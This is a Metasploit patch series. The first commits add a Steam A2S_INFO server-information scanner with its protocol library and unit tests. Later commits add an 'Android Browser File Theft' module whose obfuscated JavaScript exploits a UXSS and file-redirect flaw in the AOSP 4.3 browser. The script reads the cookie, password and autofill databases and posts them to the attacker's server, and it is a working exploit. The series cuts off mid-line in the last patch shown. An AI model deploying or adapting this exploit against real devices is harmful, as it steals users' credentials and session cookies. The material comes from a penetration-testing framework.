From f8eea6c5f38c321bad3e252c35eed51b5f378402 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 6 Nov 2014 13:52:17 -0800 Subject: [PATCH 01/92] Add initial aux module to fingerprint/gather from Steam servers --- .../auxiliary/scanner/steam/server_info.rb | 121 ++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 modules/auxiliary/scanner/steam/server_info.rb diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb new file mode 100644 index 0000000000..fc6fb47b70 --- /dev/null +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::UDPScanner + + def initialize(info = {}) + super( + update_info( + info, + # TODO: fill in all of this + 'Name' => 'UDP Scanner Example', + 'Description' => %q( + This module is an example of how to send probes to UDP services + en-masse, analyze any responses, and then report on any discovered + hosts, services, vulnerabilities or otherwise noteworthy things. + Simply address any of the TODOs. + ), + 'Author' => 'Joe Contributor ', + 'References' => + [ + ['URL', 'https://example.com/~jcontributor'] + ], + 'DisclosureDate' => 'Mar 15 2014', + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + # TODO: change to the port you need to scan + #Opt::RPORT(27015) + Opt::RPORT(4672) + ], self.class) + + # TODO: add any advanced, special options here, otherwise remove + register_advanced_options( + [ + OptBool.new('SPECIAL', [true, 'Try this special thing', false]) + ], self.class) + end + + def setup + super + # TODO: do any sort of preliminary sanity checking, like perhaps validating some options + # in the datastore, etc. + end + + # TODO: construct the appropriate probe here. + def build_probe + #@probe ||= "\xFF\xFF\xFF\xFFTSource Engine Query\x00" + @probe ||= "\xe4\x01" + end + + # TODO: this is called before the scan block for each batch of hosts. Do any + # per-batch setup here, otherwise remove it. + def scanner_prescan(batch) + super + end + + # TODO: this is called for each IP in the batch. This will send all of the + # necessary probes. If something different must be done for each IP, do it + # here, otherwise remove it. + def scan_host(ip) + super + end + + # Called for each response packet + def scanner_process(response, src_host, _src_port) + return unless response.size >= 19 + @results[src_host] ||= [] + puts "Got something from #{src_host}" + #puts response.unpack("NCCZ*Z*Z*Z*SCCCCCCCZ*C") + + # TODO: store something about this response, perhaps the response itself, + # some metadata obtained by analyzing it, the proof that it is vulnerable + # to something, etc. In this example, we simply look for any response + # with a sequence of 5 useful ASCII characters and, iff found, we store + # that sequence + /(?[\x20-\x7E]{5})/ =~ response && @results[src_host] << relevant + end + + # Called after the scan block + def scanner_postscan(_batch) + @results.each_pair do |host, relevant_responses| + peer = "#{host}:#{rport}" + + # report on the host + report_host(host: host) + + # report on the service, since it responded + report_service( + host: host, + proto: 'udp', + port: rport, + name: 'example', + # show at most 4 relevant responses + info: relevant_responses[0, 4].join(',') + ) + + if relevant_responses.empty? + vprint_status("#{peer} Not vulnerable to something") + else + print_good("#{peer} Vulnerable to something!") + report_vuln( + host: host, + port: rport, + proto: 'udp', + name: 'something!', + info: "Got #{relevant_responses.size} response(s)", + refs: references + ) + end + end + end +end From a9927891a8d459cf4a5c91b84a8f559e2b60833f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 10 Nov 2014 13:27:12 -0800 Subject: [PATCH 02/92] Fill out steam module metadata --- .../auxiliary/scanner/steam/server_info.rb | 78 +++---------------- 1 file changed, 11 insertions(+), 67 deletions(-) diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb index fc6fb47b70..09cd78c127 100644 --- a/modules/auxiliary/scanner/steam/server_info.rb +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -13,61 +13,31 @@ class Metasploit3 < Msf::Auxiliary super( update_info( info, - # TODO: fill in all of this - 'Name' => 'UDP Scanner Example', + 'Name' => 'Gather Steam Server Information', 'Description' => %q( - This module is an example of how to send probes to UDP services - en-masse, analyze any responses, and then report on any discovered - hosts, services, vulnerabilities or otherwise noteworthy things. - Simply address any of the TODOs. + This module uses the A2S_INFO request to obtain information from a Steam server. ), - 'Author' => 'Joe Contributor ', + 'Author' => 'Jon Hart [ - ['URL', 'https://example.com/~jcontributor'] + # TODO: add more from https://developer.valvesoftware.com/wiki/Server_queries, + # perhaps in different modules + ['URL', 'https://developer.valvesoftware.com/wiki/Server_queries#A2S_INFO'] ], - 'DisclosureDate' => 'Mar 15 2014', 'License' => MSF_LICENSE ) ) register_options( [ - # TODO: change to the port you need to scan - #Opt::RPORT(27015) - Opt::RPORT(4672) + Opt::RPORT(27015) ], self.class) - # TODO: add any advanced, special options here, otherwise remove - register_advanced_options( - [ - OptBool.new('SPECIAL', [true, 'Try this special thing', false]) - ], self.class) - end - - def setup - super - # TODO: do any sort of preliminary sanity checking, like perhaps validating some options - # in the datastore, etc. end # TODO: construct the appropriate probe here. def build_probe - #@probe ||= "\xFF\xFF\xFF\xFFTSource Engine Query\x00" - @probe ||= "\xe4\x01" - end - - # TODO: this is called before the scan block for each batch of hosts. Do any - # per-batch setup here, otherwise remove it. - def scanner_prescan(batch) - super - end - - # TODO: this is called for each IP in the batch. This will send all of the - # necessary probes. If something different must be done for each IP, do it - # here, otherwise remove it. - def scan_host(ip) - super + @probe ||= "\xFF\xFF\xFF\xFFTSource Engine Query\x00" end # Called for each response packet @@ -77,45 +47,19 @@ class Metasploit3 < Msf::Auxiliary puts "Got something from #{src_host}" #puts response.unpack("NCCZ*Z*Z*Z*SCCCCCCCZ*C") - # TODO: store something about this response, perhaps the response itself, - # some metadata obtained by analyzing it, the proof that it is vulnerable - # to something, etc. In this example, we simply look for any response - # with a sequence of 5 useful ASCII characters and, iff found, we store - # that sequence - /(?[\x20-\x7E]{5})/ =~ response && @results[src_host] << relevant end # Called after the scan block def scanner_postscan(_batch) - @results.each_pair do |host, relevant_responses| - peer = "#{host}:#{rport}" - - # report on the host + @results.each_pair do |host, info| report_host(host: host) - - # report on the service, since it responded report_service( host: host, proto: 'udp', port: rport, - name: 'example', - # show at most 4 relevant responses - info: relevant_responses[0, 4].join(',') + name: 'Steam', + info: info ) - - if relevant_responses.empty? - vprint_status("#{peer} Not vulnerable to something") - else - print_good("#{peer} Vulnerable to something!") - report_vuln( - host: host, - port: rport, - proto: 'udp', - name: 'something!', - info: "Got #{relevant_responses.size} response(s)", - refs: references - ) - end end end end From 51e84ce548c3f4b45a1a7cfa58253af269688423 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 10 Nov 2014 16:45:28 -0800 Subject: [PATCH 03/92] Add unit tests, complete extraction/cleanup --- lib/rex/proto/steam.rb | 3 + lib/rex/proto/steam/message.rb | 109 ++++++++++++++++++ .../auxiliary/scanner/steam/server_info.rb | 22 ++-- spec/lib/rex/proto/steam/message_spec.rb | 44 +++++++ 4 files changed, 168 insertions(+), 10 deletions(-) create mode 100644 lib/rex/proto/steam.rb create mode 100644 lib/rex/proto/steam/message.rb create mode 100644 spec/lib/rex/proto/steam/message_spec.rb diff --git a/lib/rex/proto/steam.rb b/lib/rex/proto/steam.rb new file mode 100644 index 0000000000..12552c0449 --- /dev/null +++ b/lib/rex/proto/steam.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/proto/steam/message' diff --git a/lib/rex/proto/steam/message.rb b/lib/rex/proto/steam/message.rb new file mode 100644 index 0000000000..c76dc33bf1 --- /dev/null +++ b/lib/rex/proto/steam/message.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + + +module Rex +module Proto +## +# +# Steam protocol support, taken from https://developer.valvesoftware.com/wiki/Server_queries +# +## +module Steam + + FRAGMENTED_HEADER = 0xFFFFFFFE + UNFRAGMENTED_HEADER = 0xFFFFFFFF + + def decode_message(message) + # minimum size is header (4) + type (1) + return if message.length < 5 + header, type = message.unpack('NC') + # TODO: handle fragmented responses + return if header != UNFRAGMENTED_HEADER + [header, type, message[5, message.length]] + end + + def encode_message(type, payload) + if type.is_a? Fixnum + type_num = type + elsif type.is_a? String + type_num = type.ord + else + fail ArgumentError, 'type must be a String or Fixnum' + end + + [UNFRAGMENTED_HEADER, type_num ].pack('NC') + payload + end + + def a2s_info + encode_message('T', "Source Engine Query\x00") + end + + def a2s_info_decode(message) + # abort if it is impossibly short + return nil if message.length < 19 + _header, message_type, payload = decode_message(message) + # abort if it isn't a valid Steam response + return nil if message_type != 0x49 # 'I' + info = {} + info[:version], info[:name], info[:map], info[:folder], info[:game_name], + info[:game_id], players, players_max, info[:bots], + type, env, vis, vac, info[:game_version], edf = payload.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C") + + # translate type + case type + when 100 # d + server_type = 'Dedicated' + when 108 # l + server_type = 'Non-dedicated' + when 112 # p + server_type = 'SourceTV relay (proxy)' + else + server_type = "Unknown (#{type})" + end + info[:type] = server_type + + # translate environment + case env + when 108 # l + server_env = 'Linux' + when 119 # w + server_env = 'Windows' + when 109 # m + when 111 # o + server_env = 'Mac' + else + server_env = "Unknown (#{env})" + end + info[:environment] = server_env + + # translate visibility + case vis + when 0 + server_vis = 'public' + when 1 + server_vis = 'private' + else + server_vis = "Unknown (#{vis})" + end + info[:visibility] = server_vis + + # translate VAC + case vac + when 0 + server_vac = 'unsecured' + when 1 + server_vac = 'secured' + else + server_vac = "Unknown (#{vac})" + end + info[:VAC] = server_vac + + # format players/max + info[:players] = "#{players}/#{players_max}" + + # TODO: parse EDF + info + end +end +end +end diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb index 09cd78c127..7e5d88f544 100644 --- a/modules/auxiliary/scanner/steam/server_info.rb +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -4,10 +4,12 @@ ## require 'msf/core' +require 'rex/proto/steam' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::UDPScanner + include Rex::Proto::Steam def initialize(info = {}) super( @@ -32,24 +34,24 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(27015) ], self.class) - end - # TODO: construct the appropriate probe here. def build_probe - @probe ||= "\xFF\xFF\xFF\xFFTSource Engine Query\x00" + @probe ||= a2s_info end - # Called for each response packet - def scanner_process(response, src_host, _src_port) - return unless response.size >= 19 + def scanner_process(response, src_host, src_port) + info = a2s_info_decode(response) + return unless info @results[src_host] ||= [] - puts "Got something from #{src_host}" - #puts response.unpack("NCCZ*Z*Z*Z*SCCCCCCCZ*C") - + if datastore['VERBOSE'] + print_good("#{src_host}:#{src_port} found '#{info.inspect}'") + else + print_good("#{src_host}:#{src_port} found '#{info[:name]}'") + end + @results[src_host] << info end - # Called after the scan block def scanner_postscan(_batch) @results.each_pair do |host, info| report_host(host: host) diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb new file mode 100644 index 0000000000..36223575f0 --- /dev/null +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- +require 'spec_helper' +require 'rex/proto/steam/message' + +describe Rex::Proto::Steam do + subject do + mod = Module.new + mod.extend described_class + mod + end + + describe '#encode_message' do + it 'should properly encode messages' do + message = subject.encode_message('T', 'Test') + expect(message).to eq("\xFF\xFF\xFF\xFF\x54Test") + end + end + + describe '#decode_message' do + it 'should not decode overly short messages' do + expect(subject.decode_message('foo')).to eq(nil) + end + + it 'should not decode unknown messages' do + expect(subject.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil) + end + + it 'should properly decode valid messages' do + header, type, message = subject.decode_message("\xFF\xFF\xFF\xFF\x54Test") + expect(header).to eq(Rex::Proto::Steam::UNFRAGMENTED_HEADER) + expect(type).to eq(0x54) + expect(message).to eq('Test') + end + end + + describe '#a2s_info_decode' do + it 'should extract a2s_info fields properly' do + example_resp = "\xff\xff\xff\xff\x49\x11\x2d\x3d\x54\x48\x45\x20\x42\x41\x54\x54\x4c\x45\x47\x52\x4f\x55\x4e\x44\x53\x20\x2a\x48\x41\x52\x44\x43\x4f\x52\x45\x2a\x3d\x2d\x00\x61\x6f\x63\x5f\x62\x61\x74\x74\x6c\x65\x67\x72\x6f\x75\x6e\x64\x00\x61\x67\x65\x6f\x66\x63\x68\x69\x76\x61\x6c\x72\x79\x00\x41\x67\x65\x20\x6f\x66\x20\x43\x68\x69\x76\x61\x6c\x72\x79\x00\x66\x44\x16\x20\x00\x64\x6c\x00\x01\x31\x2e\x30\x2e\x30\x2e\x36\x00\xb1\x87\x69\x04\x04\x7c\x35\xbe\x12\x40\x01\x48\x4c\x73\x74\x61\x74\x73\x58\x3a\x43\x45\x2c\x69\x6e\x63\x72\x65\x61\x73\x65\x64\x5f\x6d\x61\x78\x70\x6c\x61\x79\x65\x72\x73\x00\x66\x44\x00\x00\x00\x00\x00\x00" + expected_info = {:version=>17, :name=>"-=THE BATTLEGROUNDS *HARDCORE*=-", :map=>"aoc_battleground", :folder=>"ageofchivalry", :game_name=>"Age of Chivalry", :game_id=>17510, :players=>"22/32", :bots=>0, :game_version=>"1.0.0.6", :type=>"Dedicated", :environment=>"Linux", :visibility=>"public", :VAC=>"secured"} + actual_info = subject.a2s_info_decode(example_resp) + expect(actual_info).to eq(expected_info) + end + end +end From 5b1b7c22bb0a07c31e595ecaf714f8db981f144e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 10 Nov 2014 16:56:43 -0800 Subject: [PATCH 04/92] Minor test/style cleanup --- lib/rex/proto/steam/message.rb | 4 +--- spec/lib/rex/proto/steam/message_spec.rb | 10 +++++++--- spec/lib/rex/proto/steam/steam_info.bin | Bin 0 -> 155 bytes 3 files changed, 8 insertions(+), 6 deletions(-) create mode 100644 spec/lib/rex/proto/steam/steam_info.bin diff --git a/lib/rex/proto/steam/message.rb b/lib/rex/proto/steam/message.rb index c76dc33bf1..278b144f88 100644 --- a/lib/rex/proto/steam/message.rb +++ b/lib/rex/proto/steam/message.rb @@ -1,6 +1,5 @@ # -*- coding: binary -*- - module Rex module Proto ## @@ -9,7 +8,6 @@ module Proto # ## module Steam - FRAGMENTED_HEADER = 0xFFFFFFFE UNFRAGMENTED_HEADER = 0xFFFFFFFF @@ -47,7 +45,7 @@ module Steam info = {} info[:version], info[:name], info[:map], info[:folder], info[:game_name], info[:game_id], players, players_max, info[:bots], - type, env, vis, vac, info[:game_version], edf = payload.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C") + type, env, vis, vac, info[:game_version], _edf = payload.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C") # translate type case type diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb index 36223575f0..b914d56a99 100644 --- a/spec/lib/rex/proto/steam/message_spec.rb +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -35,9 +35,13 @@ describe Rex::Proto::Steam do describe '#a2s_info_decode' do it 'should extract a2s_info fields properly' do - example_resp = "\xff\xff\xff\xff\x49\x11\x2d\x3d\x54\x48\x45\x20\x42\x41\x54\x54\x4c\x45\x47\x52\x4f\x55\x4e\x44\x53\x20\x2a\x48\x41\x52\x44\x43\x4f\x52\x45\x2a\x3d\x2d\x00\x61\x6f\x63\x5f\x62\x61\x74\x74\x6c\x65\x67\x72\x6f\x75\x6e\x64\x00\x61\x67\x65\x6f\x66\x63\x68\x69\x76\x61\x6c\x72\x79\x00\x41\x67\x65\x20\x6f\x66\x20\x43\x68\x69\x76\x61\x6c\x72\x79\x00\x66\x44\x16\x20\x00\x64\x6c\x00\x01\x31\x2e\x30\x2e\x30\x2e\x36\x00\xb1\x87\x69\x04\x04\x7c\x35\xbe\x12\x40\x01\x48\x4c\x73\x74\x61\x74\x73\x58\x3a\x43\x45\x2c\x69\x6e\x63\x72\x65\x61\x73\x65\x64\x5f\x6d\x61\x78\x70\x6c\x61\x79\x65\x72\x73\x00\x66\x44\x00\x00\x00\x00\x00\x00" - expected_info = {:version=>17, :name=>"-=THE BATTLEGROUNDS *HARDCORE*=-", :map=>"aoc_battleground", :folder=>"ageofchivalry", :game_name=>"Age of Chivalry", :game_id=>17510, :players=>"22/32", :bots=>0, :game_version=>"1.0.0.6", :type=>"Dedicated", :environment=>"Linux", :visibility=>"public", :VAC=>"secured"} - actual_info = subject.a2s_info_decode(example_resp) + expected_info = { + version: 17, name: "-=THE BATTLEGROUNDS *HARDCORE*=-", map: "aoc_battleground", + folder: "ageofchivalry", game_name: "Age of Chivalry", game_id: 17510, + players: "22/32", bots: 0, game_version: "1.0.0.6", type: "Dedicated", + environment: "Linux", visibility: "public", VAC: "secured" + } + actual_info = subject.a2s_info_decode(IO.read(File.join(File.dirname(__FILE__), 'steam_info.bin'))) expect(actual_info).to eq(expected_info) end end diff --git a/spec/lib/rex/proto/steam/steam_info.bin b/spec/lib/rex/proto/steam/steam_info.bin new file mode 100644 index 0000000000000000000000000000000000000000..52b726c931b01f8152c1483a6e7b0ffe9046494a GIT binary patch literal 155 zcmezW|NnnaL0#Jr4_5^z$B+;oSN9 Date: Tue, 18 Nov 2014 11:06:32 -0800 Subject: [PATCH 05/92] Address some of @jvazquez-r7's spec feedback --- spec/lib/rex/proto/steam/message_spec.rb | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb index b914d56a99..b219eaf872 100644 --- a/spec/lib/rex/proto/steam/message_spec.rb +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -3,30 +3,30 @@ require 'spec_helper' require 'rex/proto/steam/message' describe Rex::Proto::Steam do - subject do + subject(:steam) do mod = Module.new mod.extend described_class mod end describe '#encode_message' do - it 'should properly encode messages' do - message = subject.encode_message('T', 'Test') + it 'properly encodes messages' do + message = steam.encode_message('T', 'Test') expect(message).to eq("\xFF\xFF\xFF\xFF\x54Test") end end describe '#decode_message' do - it 'should not decode overly short messages' do - expect(subject.decode_message('foo')).to eq(nil) + it 'does not decode overly short messages' do + expect(steam.decode_message('foo')).to eq(nil) end - it 'should not decode unknown messages' do - expect(subject.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil) + it 'does not decode unknown messages' do + expect(steam.decode_message("\xFF\xFF\xFF\x01blahblahblah")).to eq(nil) end - it 'should properly decode valid messages' do - header, type, message = subject.decode_message("\xFF\xFF\xFF\xFF\x54Test") + it 'properly decodes valid messages' do + header, type, message = steam.decode_message("\xFF\xFF\xFF\xFF\x54Test") expect(header).to eq(Rex::Proto::Steam::UNFRAGMENTED_HEADER) expect(type).to eq(0x54) expect(message).to eq('Test') @@ -34,14 +34,14 @@ describe Rex::Proto::Steam do end describe '#a2s_info_decode' do - it 'should extract a2s_info fields properly' do + it 'extracts a2s_info fields properly' do expected_info = { version: 17, name: "-=THE BATTLEGROUNDS *HARDCORE*=-", map: "aoc_battleground", folder: "ageofchivalry", game_name: "Age of Chivalry", game_id: 17510, players: "22/32", bots: 0, game_version: "1.0.0.6", type: "Dedicated", environment: "Linux", visibility: "public", VAC: "secured" } - actual_info = subject.a2s_info_decode(IO.read(File.join(File.dirname(__FILE__), 'steam_info.bin'))) + actual_info = steam.a2s_info_decode(IO.read(File.join(File.dirname(__FILE__), 'steam_info.bin'))) expect(actual_info).to eq(expected_info) end end From d94ca2b89ac851c55e678e25628281ec3ceb2978 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 18 Nov 2014 11:46:28 -0800 Subject: [PATCH 06/92] Add doc for Rex::Proto::Steam --- lib/rex/proto/steam/message.rb | 32 ++++++++++++++++++------ spec/lib/rex/proto/steam/message_spec.rb | 3 +-- 2 files changed, 26 insertions(+), 9 deletions(-) diff --git a/lib/rex/proto/steam/message.rb b/lib/rex/proto/steam/message.rb index 278b144f88..a384ed39f0 100644 --- a/lib/rex/proto/steam/message.rb +++ b/lib/rex/proto/steam/message.rb @@ -8,19 +8,30 @@ module Proto # ## module Steam + # The Steam header ussed when the message is fragmented. FRAGMENTED_HEADER = 0xFFFFFFFE + # The Steam header ussed when the message is not fragmented. UNFRAGMENTED_HEADER = 0xFFFFFFFF + # Decodes a Steam response message. + # + # @param message [String] the message to decode + # @return [Array] the message type and body def decode_message(message) # minimum size is header (4) + type (1) return if message.length < 5 header, type = message.unpack('NC') # TODO: handle fragmented responses return if header != UNFRAGMENTED_HEADER - [header, type, message[5, message.length]] + [type, message[5, message.length]] end - def encode_message(type, payload) + # Encodes a Steam message. + # + # @param type [String, Fixnum] the message type + # @param body [String] the message body + # @return [String] the encoded Steam message + def encode_message(type, body) if type.is_a? Fixnum type_num = type elsif type.is_a? String @@ -29,23 +40,30 @@ module Steam fail ArgumentError, 'type must be a String or Fixnum' end - [UNFRAGMENTED_HEADER, type_num ].pack('NC') + payload + [UNFRAGMENTED_HEADER, type_num ].pack('NC') + body end + # Builds an A2S_INFO message + # + # @return [String] the A2S_INFO message def a2s_info encode_message('T', "Source Engine Query\x00") end - def a2s_info_decode(message) + # Decodes an A2S_INFO response message + # + # @parameter response [String] the A2S_INFO resposne to decode + # @return [Hash] the fields extracted from the response + def a2s_info_decode(response) # abort if it is impossibly short - return nil if message.length < 19 - _header, message_type, payload = decode_message(message) + return nil if response.length < 19 + message_type, body = decode_message(response) # abort if it isn't a valid Steam response return nil if message_type != 0x49 # 'I' info = {} info[:version], info[:name], info[:map], info[:folder], info[:game_name], info[:game_id], players, players_max, info[:bots], - type, env, vis, vac, info[:game_version], _edf = payload.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C") + type, env, vis, vac, info[:game_version], _edf = body.unpack("CZ*Z*Z*Z*SCCCCCCCZ*C") # translate type case type diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb index b219eaf872..1682dad924 100644 --- a/spec/lib/rex/proto/steam/message_spec.rb +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -26,8 +26,7 @@ describe Rex::Proto::Steam do end it 'properly decodes valid messages' do - header, type, message = steam.decode_message("\xFF\xFF\xFF\xFF\x54Test") - expect(header).to eq(Rex::Proto::Steam::UNFRAGMENTED_HEADER) + type, message = steam.decode_message("\xFF\xFF\xFF\xFF\x54Test") expect(type).to eq(0x54) expect(message).to eq('Test') end From 61b6a1440071f82db5dda832ba834852dcc86c12 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 18 Nov 2014 11:50:01 -0800 Subject: [PATCH 07/92] Correct email format --- modules/auxiliary/scanner/steam/server_info.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/steam/server_info.rb b/modules/auxiliary/scanner/steam/server_info.rb index 7e5d88f544..398e0fb038 100644 --- a/modules/auxiliary/scanner/steam/server_info.rb +++ b/modules/auxiliary/scanner/steam/server_info.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q( This module uses the A2S_INFO request to obtain information from a Steam server. ), - 'Author' => 'Jon Hart 'Jon Hart ', 'References' => [ # TODO: add more from https://developer.valvesoftware.com/wiki/Server_queries, From a410d2ec25ec6db7ad553398e76a9beae820ed88 Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 25 Feb 2015 21:02:15 -0600 Subject: [PATCH 08/92] Add android 4.3 stock browser cookie/password theft. --- .../gather/android_browser_file_theft.rb | 137 ++++++++++++++++++ 1 file changed, 137 insertions(+) create mode 100644 modules/auxiliary/gather/android_browser_file_theft.rb diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb new file mode 100644 index 0000000000..ab4fc78f8f --- /dev/null +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + include Msf::Exploit::JSObfu + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Android Browser File Theft', + 'Description' => %q{ + This module steals the cookie, password, and autofill databases from the + Browser application on AOSP 4.3 and below. + }, + 'Author' => [ + 'Rafay Baloch', # Found UXSS bug in Android Browser + 'joev' # File redirect and msf module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => + [ + ['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('ADDITIONAL_FILES', [ + false, + 'Comma-separated list of addition file URLs to steal.', + ]), + OptBool.new('DEFAULT_FILES', [ + true, + 'Steals a default set of file URLs', + true + ]) + ], self.class) + end + + def run + exploit + end + + def on_request_uri(cli, request) + if request.method.downcase == 'post' + process_post(cli, request) + send_response_html(cli, '') + else + print_status("Sending exploit landing page...") + send_response_html(cli, exploit_html) + end + end + + def process_post(cli, request) + data = JSON.parse(request.body) + file = File.basename(data['url']) + print_good "File received: #{request.body.length.to_f/1024}kb #{file}" + loot_path = store_loot( + file, + 'application/x-sqlite3', + cli.peerhost, + data, + File.basename(data['url']), + "#{cli.peerhost.ljust(16)} Android browser file" + ) + print_good "Saved to: #{loot_path}" + end + + + def file_urls + default_urls = [ + 'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db', + 'file:///data/data/com.android.browser/databases/webview.db', + 'file:///data/data/com.android.browser/databases/autofill.db', + 'file:///data/data/com.android.browser/databases/browser2.db', + 'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db', + 'file:///data/data/com.android.browser/app_databases/Databases.db', + 'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db' + ] + + unless datastore['DEFAULT_FILES'] + default_urls = [] + end + + default_urls + (datastore['ADDITIONAL_FILES']||'').split(',') + end + + def exploit_html + %Q| + + + + + + + | + end + + def exploit_js + js_obfuscate %Q| + + window.onmessage = function(e) { + var x = new XMLHttpRequest; + x.open("POST", location.href); + x.send(JSON.stringify(e.data)) + }; + + var brokenFrame = document.createElement('iframe'); + brokenFrame.src = 'http://localhost:100'; + brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;') + brokenFrame.onload = function() { + brokenFrame.onload = null; + document.documentURI = 'javascript://hostname.com/%0D%0Aurls=(#{JSON.generate(file_urls)});'+ + 'var t=function(){setTimeout(function(){next(urls.shift());},1)};window.onmessage=t;'+ + 'var next=(function(url){if(!url)return;try{var f = document.createElement("iframe");f.src=url;f.onload=f'+ + 'unction(){f.onload=null;document.documentURI="javascript://hostname.com/%250D%250Ax=new '+ + 'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.send();x.onload=fun'+ + 'ction(){ top.postMessage({data:x.responseText,url:location.href}, String.fromCharCode(42));'+ + 'parent.postMessage(1,String.fromCharCode(42));};x.onerror=function(){parent.postMessage(1,S'+ + 'tring.fromCharCode(42))};";f.contentWindow.location = "";};document.body.appendChild(f);}catch(e){t();}});t();'; + brokenFrame.contentWindow.location = ""; + }; + + document.body.appendChild(brokenFrame); + | + end + +end From d486d173025bd62b6b432aa7d290fb338ee5d58c Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 25 Feb 2015 21:04:01 -0600 Subject: [PATCH 09/92] Add reference to 2014 fix. --- modules/auxiliary/gather/android_browser_file_theft.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index ab4fc78f8f..b27551ec6d 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -28,6 +28,8 @@ class Metasploit3 < Msf::Auxiliary 'PassiveActions' => [ 'WebServer' ], 'References' => [ + # patch for file redirection, 2014 + ['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'], ['URL', 'https://code.google.com/p/chromium/issues/detail?id=90222'] # the UXSS ], 'DefaultAction' => 'WebServer' From c4b85603d2665d8465a8c3118a7ccbdec5c9713c Mon Sep 17 00:00:00 2001 From: joev Date: Wed, 25 Feb 2015 22:56:33 -0600 Subject: [PATCH 10/92] Fix encoding, oops. --- .../gather/android_browser_file_theft.rb | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index b27551ec6d..1a3befc180 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -64,13 +64,14 @@ class Metasploit3 < Msf::Auxiliary def process_post(cli, request) data = JSON.parse(request.body) + contents = hex2bin(data['data']) file = File.basename(data['url']) - print_good "File received: #{request.body.length.to_f/1024}kb #{file}" + print_good "File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}" loot_path = store_loot( file, 'application/x-sqlite3', cli.peerhost, - data, + contents, File.basename(data['url']), "#{cli.peerhost.ljust(16)} Android browser file" ) @@ -125,8 +126,11 @@ class Metasploit3 < Msf::Auxiliary 'var t=function(){setTimeout(function(){next(urls.shift());},1)};window.onmessage=t;'+ 'var next=(function(url){if(!url)return;try{var f = document.createElement("iframe");f.src=url;f.onload=f'+ 'unction(){f.onload=null;document.documentURI="javascript://hostname.com/%250D%250Ax=new '+ - 'XMLHttpRequest;x.open(String.fromCharCode(71,69,84),location.href);x.send();x.onload=fun'+ - 'ction(){ 